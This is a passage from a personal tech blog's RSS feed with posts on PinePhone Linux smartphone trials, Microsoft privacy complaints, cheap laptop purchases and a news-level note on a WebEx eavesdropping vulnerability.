&lt;p>As I&amp;rsquo;m replacing the battery of my 6 year old Macbook Pro tomorrow (the blog post on this will follow soon), it reminds me very much of a similar Apple design decision. A Macbook slows down so much when the battery is disconnected that working is hardly possible.&lt;/p>
&lt;p>What definitely saves battery power and is a feature for me is the possibility to operate a Pinephone with relatively few connections. Except the connections to my Nextcloud (in the screenshot the host with 130.180&amp;hellip;) no further connections to foreign hosts are made. A prerequisite for this is the removal of geoclue if you can dispense with its geolocation services.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-netstat.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-netstat.webp#c" alt="Verbindungen Pinephone" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>That&amp;rsquo; s all for today.&lt;br>
Stay healthy!&lt;/p>
&lt;p>Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://wiki.pine64.org/wiki/PinePhone">https://wiki.pine64.org/wiki/PinePhone&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://files.pine64.org/doc/PinePhone/PinePhone%20v1.2b%20Released%20Schematic.pdf">https://files.pine64.org/doc/PinePhone/PinePhone%20v1.2b%20Released%20Schematic.pdf&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="http://files.pine64.org/doc/datasheet/pine64/AXP803_Datasheet_V1.0.pdf">http://files.pine64.org/doc/datasheet/pine64/AXP803_Datasheet_V1.0.pdf&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Microsoft, again</title><link>https://blog.jakobs.systems/en/blog/20201124-microsoft-privacy-analytics/</link><pubDate>Tue, 24 Nov 2020 10:11:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20201124-microsoft-privacy-analytics/</guid><description>What comes after a privacy violation? Of course further violations...</description><category>Microsoft</category><category>Privacy</category><category>Office</category><category>PrivacyShield</category><category>Schrems</category><content>&lt;p>What comes after a privacy violation? Of course further violations. I&amp;rsquo;ve update my list of violations and infringements because of this Heise Article &lt;a href="https://www.heise.de/news/Anwenderueberwachung-durch-Microsofts-Office-Software-4968615.html">&amp;ldquo;Anwenderüberwachung durch Microsofts Office-Software&amp;rdquo;&lt;/a>:&lt;/p>
&lt;p>Here is the full list (free to copy/use):&lt;/p>
&lt;ul>
&lt;li>The collection of user data in a Windows 10 based corporate network cannot be prevented by proportional resources.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>&lt;/li>
&lt;li>With 23,000 to 25,000 data points, a Microsoft Office package collects significantly more metrics than a Windows 10.&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>&lt;/li>
&lt;li>Collecting metrics also includes document content.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>&lt;/li>
&lt;li>Using mobile devices with O365 or Azure Cloud offerings, Microsoft by Design gets direct access to the mailboxes of local Exchange server instances and stores data (emails, contacts, appointments) unencrypted on its own servers.&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>&lt;/li>
&lt;li>Dependence on Microsoft products, also known as lock-in&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>, blocks technological progress and increasingly represents a structural disadvantage.&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>&lt;/li>
&lt;li>Microsoft systematically undermines best practice recommendations and EU standards&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup> in procurement and competition law.&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup>&lt;/li>
&lt;li>Microsoft does not manage to explain on what basis it claims its own interests, including the transfer of data to third parties, as a data processor on behalf of a client.&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup>&lt;/li>
&lt;li>Microsoft collects users&amp;rsquo; work-related habits and provides companies with a detailed, personalized &amp;ldquo;Productivity Score&amp;rdquo; for employee monitoring.&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup>&lt;/li>
&lt;/ul>
&lt;p>This new addition of employee monitoring is just a recycled version of an existing feature Microsoft has been using internally for years. It is not very surprising that it has now become a product called &amp;ldquo;Workplace Analytics&amp;rdquo;. It is a well-known anti-pattern called &amp;ldquo;Function Creep&amp;rdquo;.&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Since in the last few days the news has been circulating that Microsoft allegedly has reached an agreement with data protectionists, I show this legal 5-minute analysis by Max Schrems:&lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup>&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/microsoft-legal-bullshit.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/microsoft-legal-bullshit.webp#c" alt="Legal bullshit made by Microsoft" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Data protection is not a feature! It is an obligation and a matter of principle. The way Microsoft (and others!) emphasize privacy so much and even try to promote it is quite bizarre. It&amp;rsquo;s kind of like the way a chef emphasizes that he uses a clean spoon to stir (and not a finger).&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>🚫 &lt;a href="https://www.bsi.bund.de/DE/Themen/Cyber-Sicherheit/Empfehlungen/SiSyPHuS_Win10/AP4/SiSyPHuS_AP4_node.html">https://www.bsi.bund.de/DE/Themen/Cyber-Sicherheit/Empfehlungen/SiSyPHuS_Win10/AP4/SiSyPHuS_AP4_node.html&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://www.privacycompany.de/datenschutz-folgenabschatzung-zeigt-risiken-bei-microsoft-office-proplus-enterprise/">https://www.privacycompany.de/datenschutz-folgenabschatzung-zeigt-risiken-bei-microsoft-office-proplus-enterprise/&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>part 16.1.2 in &lt;a href="https://www.rijksoverheid.nl/binaries/rijksoverheid/documenten/rapporten/2018/11/07/data-protection-impact-assessment-op-microsoft-office/DPIA+Microsoft+Office+2016+and+365+-+20191105.pdf">https://www.rijksoverheid.nl/binaries/rijksoverheid/documenten/rapporten/2018/11/07/data-protection-impact-assessment-op-microsoft-office/DPIA+Microsoft+Office+2016+and+365+-+20191105.pdf&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://docs.microsoft.com/en-us/Exchange/clients/outlook-for-ios-and-android/use-hybrid-modern-auth?view=exchserver-2019">https://docs.microsoft.com/en-us/Exchange/clients/outlook-for-ios-and-android/use-hybrid-modern-auth?view=exchserver-2019&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Vendor_lock-in">https://en.wikipedia.org/wiki/Vendor_lock-in&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://programm.ard.de/TV/daserste/das-microsoft-dilemma/eid_28106504116395">https://programm.ard.de/TV/daserste/das-microsoft-dilemma/eid_28106504116395&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://ec.europa.eu/newsroom/dae/document.cfm?doc_id=14434">https://ec.europa.eu/newsroom/dae/document.cfm?doc_id=14434&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://www.tagesspiegel.de/gesellschaft/cyber-attacken-auf-staatliche-it-europas-fatale-abhaengigkeit-von-microsoft/19628246.html">https://www.tagesspiegel.de/gesellschaft/cyber-attacken-auf-staatliche-it-europas-fatale-abhaengigkeit-von-microsoft/19628246.html&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://www.heise.de/news/Microsoft-Office-365-Die-Gruende-fuer-das-Nein-der-Datenschuetzer-4919847.html">https://www.heise.de/news/Microsoft-Office-365-Die-Gruende-fuer-das-Nein-der-Datenschuetzer-4919847.html&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://www.heise.de/news/Anwenderueberwachung-durch-Microsofts-Office-Software-4968615.html">https://www.heise.de/news/Anwenderueberwachung-durch-Microsofts-Office-Software-4968615.html&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://www.collinsdictionary.com/dictionary/english/function-creep">https://www.collinsdictionary.com/dictionary/english/function-creep&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>🚫 &lt;a href="https://nitter.net/maxschrems/status/1329802283341770752">https://nitter.net/maxschrems/status/1329802283341770752&lt;/a>&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>No junk, spend your time</title><link>https://blog.jakobs.systems/en/micro/20201122-dont-buy-crap/</link><pubDate>Sun, 22 Nov 2020 12:20:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20201122-dont-buy-crap/</guid><description>Toughts on Black Friday and Christmas</description><category>Concepts</category><category>Sustainability</category><content>&lt;p>Black Friday is here. And with Christmas ante portas the final countdown with the toughest end-bosses in IT support begins: The own parents, partners or children with their new or old digital devices.&lt;/p>
&lt;p>The fundaments are laid in the upcoming days and weeks when stuff with more or less technical debts&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> is bought. Basically at the moment of your purchase it&amp;rsquo;s already junk and an environmental mess. One example, representative for many others:&lt;/p>
&lt;p>German distributor Medion is currently selling its Akoya E15308 notebook with just 4 GB RAM, glued permanently and not expandable. The integrated AMD Radeon Vega shares this RAM and actually works satisfactorily in combination with a dual channel mode. Unfortunately the RAM on this notebook is soldered in single channel mode. This means some complex websites with simultaneous videomeeting session might bring the maximum usable 2 threads and low memory to the limits. I don&amp;rsquo;t even want to think about an Office App or even a game running in the background. And better don&amp;rsquo;t want to start off with Windows 10 in S-Mode. These limitations are quite obvious to every techie, except Heise&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> where the 15.6&amp;quot; IPS display is highlighted as &amp;ldquo;untypical in its class&amp;rdquo;. The unacceptable FullHD resolution below 150 dpi, with individual pixels already visible, is not mentioned at all.&lt;/p>
&lt;p>&lt;strong>Please do not buy IT junk, better spend your precious time with your loved ones.&lt;/strong>&lt;/p>
&lt;p>You can also give presents that make this time together happen. Better Microphones or Cams for instance. But even more better a walk with your grandparents outside. Or how about reading a book personally instead of buying an audio book? This would even work remotely. If you prefer something with close contact: A relaxing massage of the neck at home, in warmth and candlelight instead of just buying a scarf. Or something for nerds again: Switching from Windows to Linux on a shared afternoon with a coffee flat rate and homemade pastry?&lt;/p>
&lt;p>Get more inspiration at &lt;a href="https://www.zeit-statt-zeug.de/en">&amp;ldquo;Zeit statt Zeugs&amp;rdquo;&lt;/a>.&lt;/p>
&lt;p>Stay healthy,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Technische_Schulden">https://de.wikipedia.org/wiki/Technische_Schulden&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://www.heise.de/news/250-Euro-Notebook-bei-Aldi-AMD-Zen-Prozessor-SSD-und-USB-C-4965913.html">https://www.heise.de/news/250-Euro-Notebook-bei-Aldi-AMD-Zen-Prozessor-SSD-und-USB-C-4965913.html&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Ghost Join in WebEx Conferernces</title><link>https://blog.jakobs.systems/en/micro/20201119-webex-vulnerability-managed-server-offer/</link><pubDate>Thu, 19 Nov 2020 15:50:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20201119-webex-vulnerability-managed-server-offer/</guid><description>Critival Vulnerability in WebEx Software</description><category>WebEx</category><category>Security</category><category>Meeting</category><category>Server</category><content>&lt;blockquote>
&lt;p>Due to a vulnerability (CVE-2020-3419), attackers could join Webex meetings without being listed in the participants list. Hidden as a &amp;ldquo;ghost&amp;rdquo; from the other participants, attackers could eavesdrop on audio and video content.&lt;/p>
&lt;/blockquote>
&lt;p>This is what Heise writes in his article today.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>&lt;/p>
&lt;blockquote>
&lt;p>But this is only possible (&amp;hellip;) if attackers have access to meetings in the form of shared links and a password.&lt;/p>
&lt;/blockquote>
&lt;p>Sounds quite trivial, but it isn&amp;rsquo;t. The objectives of confidentiality and integrity are lost when others eavesdrop unnoticed during a job interview for instance. Access data can be collected in unencrypted emails. It is not unusual for permanent meeting rooms to keep the same access data over an extended period of time.&lt;/p>
&lt;p>Together with other vulnerabilities in Cisco&amp;rsquo;s server components this results in a desolate picture. Not all products could be fixed so far. The Cisco Security Advisory provides further assistance.&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Anyway, if US providers are used, no legal basis is not applicable.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> In discussions with particularly confidential content or in projects with NDA or confidentiality clauses involving poenals, this is exactly what can become a risk. I would be pleased to show you more examples in a webinar.&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> In this blog, I have made various side-blows about Discord&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> or digitisation projects in medium-sized businesses in general.&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>&lt;/p>
&lt;p>I&amp;rsquo;m glad to help, no matter if in the form of a &lt;a href="https://blog.jakobs.systems/blog/20201103-managed-server/">Managed-Server&lt;/a> or in form of own servers within a corporate infrastructure.&lt;/p>
&lt;p>I also like to refer to my current promotion till the end of the year.&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Just give me a call!&lt;/p>
&lt;p>Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://www.heise.de/news/Cisco-Sicherheitsupdates-Webex-Meetings-von-Teilnehmern-unbemerkt-belauschbar-4965190.html">https://www.heise.de/news/Cisco-Sicherheitsupdates-Webex-Meetings-von-Teilnehmern-unbemerkt-belauschbar-4965190.html&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-webex-auth-token-3vg57A5r">https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-webex-auth-token-3vg57A5r&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://noyb.eu/en/next-steps-eu-companies-faqs">https://noyb.eu/en/next-steps-eu-companies-faqs&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20201012-webinar-videokonferenzsysteme/">https://blog.jakobs.systems/micro/20201012-webinar-videokonferenzsysteme/&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20200905-privacy-shield-discord/">https://blog.jakobs.systems/blog/20200905-privacy-shield-discord/&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20201014-homeoffice/">https://blog.jakobs.systems/blog/20201014-homeoffice/&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20201103-managed-server/">https://blog.jakobs.systems/blog/20201103-managed-server/&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Linux Smartphone Project - Part II</title><link>https://blog.jakobs.systems/en/blog/20201119-linux-pinephone-screenshots/</link><pubDate>Thu, 19 Nov 2020 13:05:30 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20201119-linux-pinephone-screenshots/</guid><description>Journey to a privacy-friendly smartphone</description><category>Pinephone</category><category>Linux</category><category>Debian</category><category>Migration</category><category>Opensource</category><content>&lt;h1 id="screenshots">Screenshots&lt;/h1>
&lt;p>What was missing in the first part the day before yesterday, I will catch up today: Screenshots!&lt;/p>
&lt;p>This led to the question of how to do this? A hotkey like in iOS (home + on/off switch) is unknown to me on the Pinephone. The classic desktop Linux tools like Gnome Screenshots or Peek are installable but do not work properly. It&amp;rsquo;s quite banal, they fail due to the fact that I cannot trigger any hotkey on a touch display UI. As a solution I have chosen the workaround via SSH and grim taking screenshots remotely in the background while in the app in the foreground, Waylands makes it possible.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-logonscreen.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-logonscreen.webp#c" alt="Lockscreen" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>The Lockscreen with a podcast currently playing.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-posh1screen.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-posh1screen.webp#c" alt="Phosh" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>The Phosh-UI. The basic principle is known from the GNOME interface. Note the orange news icon&amp;hellip;&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-newsscreen.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-newsscreen.webp#c" alt="News" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>&amp;hellip;this is my RSS News-Reader in my Nextcloud, created as Web-App out of Gnome Web. The reason why I prefer this in favour of any other RSS reader is my server-side CSP, which effectively blocks every tracking pixel within a feed.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-kingscrossscreen.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-kingscrossscreen.webp#c" alt="Kings Cross" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>This is the Kings Cross &lt;del>Tube&lt;/del> Terminal-App, I could not find in the beginning.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-posh2screen.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-posh2screen.webp#c" alt="Phosh 2" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Running Apps are displayed within Phosh in the upper area from where they can be switched on tap or killed with a swipe upward. The basic concept is quite simple. What&amp;rsquo;s missing: Folders and Folder for the Icons the current Gnome Desktop has.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-webscreen.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-webscreen.webp#c" alt="Web" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>The Gnome Web-Browser.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-firefoxscreen.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-firefoxscreen.webp#c" alt="Firefox" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>And its Firefox counterpart.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-accountscreen.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-accountscreen.webp#c" alt="Kontakte" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Thanks to Nextcloud and its Gnome integration, the Sync with Calendar and Contacts worked.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-contacts1screen.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-contacts1screen.webp#c" alt="Contacts App" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-contacts2screen.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-contacts2screen.webp#c" alt="Contacts App" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>And despite the fact that the Contacts App is well adapted, you always stumble across such annoying UI glitches. Why can&amp;rsquo;t I see the phone number here? But these are just the relatively minor ones. It feels like about 80% of the common Gnome Apps are not adapted to small displays at all.&lt;/p>
&lt;p>Most disturbing are modal dialogues, which reach left and right from the screen and block the main window.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-gearyscreen.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-gearyscreen.webp#c" alt="Scaled Geary" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-calscreen.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-calscreen.webp#c" alt="Scaled Cal" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Important desktop apps like Geary for emails or the Gnome Calendar clearly show that they have not yet been optimised. In fact they are not usable at all due to the too small scaling on the screen and my own incapacity to hit the right buttons and UI elements, in German we used to say to have &amp;ldquo;Wurstfinger&amp;rdquo; when trying to use your clumsy sausage fingers to conduct any precision task.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-systemscreen.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-systemscreen.webp#c" alt="System" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h2 id="bottomline">Bottomline&lt;/h2>
&lt;p>There is more darkness than light, but of all free systems Mobian is currently the most &amp;ldquo;stable&amp;rdquo; one, written in big and bold quotation marks. The system is far from being ready or of being suitable as dailydriver.&lt;/p>
&lt;p>Stay Heathy,&lt;br>
Tomas Jakobs&lt;/p></content></item><item><title>Linux Smartphone Project - Part I</title><link>https://blog.jakobs.systems/en/blog/20201117-linux-pinephone-unboxing/</link><pubDate>Tue, 17 Nov 2020 16:50:30 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20201117-linux-pinephone-unboxing/</guid><description>Journey to a privacy-friendly smartphone</description><category>Pinephone</category><category>Linux</category><category>Debian</category><category>Migration</category><category>Opensource</category><content>&lt;h1 id="holy-unboxing">Holy Unboxing&lt;/h1>
&lt;p>Welcome to my new blog series and travel report. After more than 12 years with Apple iOS, and before that already 7 years with Microsoft PocketPC devices and before that - we are already in the 90s - with Palm (my PalmV is still alive!) I finally think it&amp;rsquo;s time to move on and start a new journey.&lt;/p>
&lt;p>Away from proprietary, closed systems with their wiretapping assistants&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>, the uncontrolled extraction of behavioral data, the constant intrusion of a more less subtle nudgeing&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> and the latent threat of simply being bricked&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-package.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-package.webp#c" alt="PinePhone" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>I jumped on the current batch of the PinePhone&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> and will give you an insight into my journey. In the end there will be nothing less than a system-change someday.&lt;/p>
&lt;h2 id="tldr-for-the-impatient">TLDR for the impatient&lt;/h2>
&lt;p>Neither the hardware or software can be consideres as consumer- or production ready. We are talking at best about an alpha version, which is not meant for normal users without advanced knowledge and a certain hacking mindset. Exactly the right thing for me!&lt;/p>
&lt;p>Unlike deliberately poor fixable consumer devices&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>, a PinePhone is designed to be modular and repairable. The battery corresponds to the one used by Samsung Galaxy and can be purchased for just 10,- EUR. Modem, board and cams can be replaced separately if needed. For the first shipped batches, there are already upgradeable mainboards available with the RAM and eMMC memory of the current generation. The hard- and software are continuously developed and refined. The PinePhone is one of the few devices that boots a system directly from SDCard.&lt;/p>
&lt;p>In the upcoming months I will add more blog articles to this series on an unscheduled basis depending on my available time. I would like to start off with the first impressions after unboxing the Manjaro-Community Edition&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> with 3GB RAM, 32 GB memory and a Convergence-Package for connecting a display, mouse, keyboard and Ethernet aswell.&lt;/p>
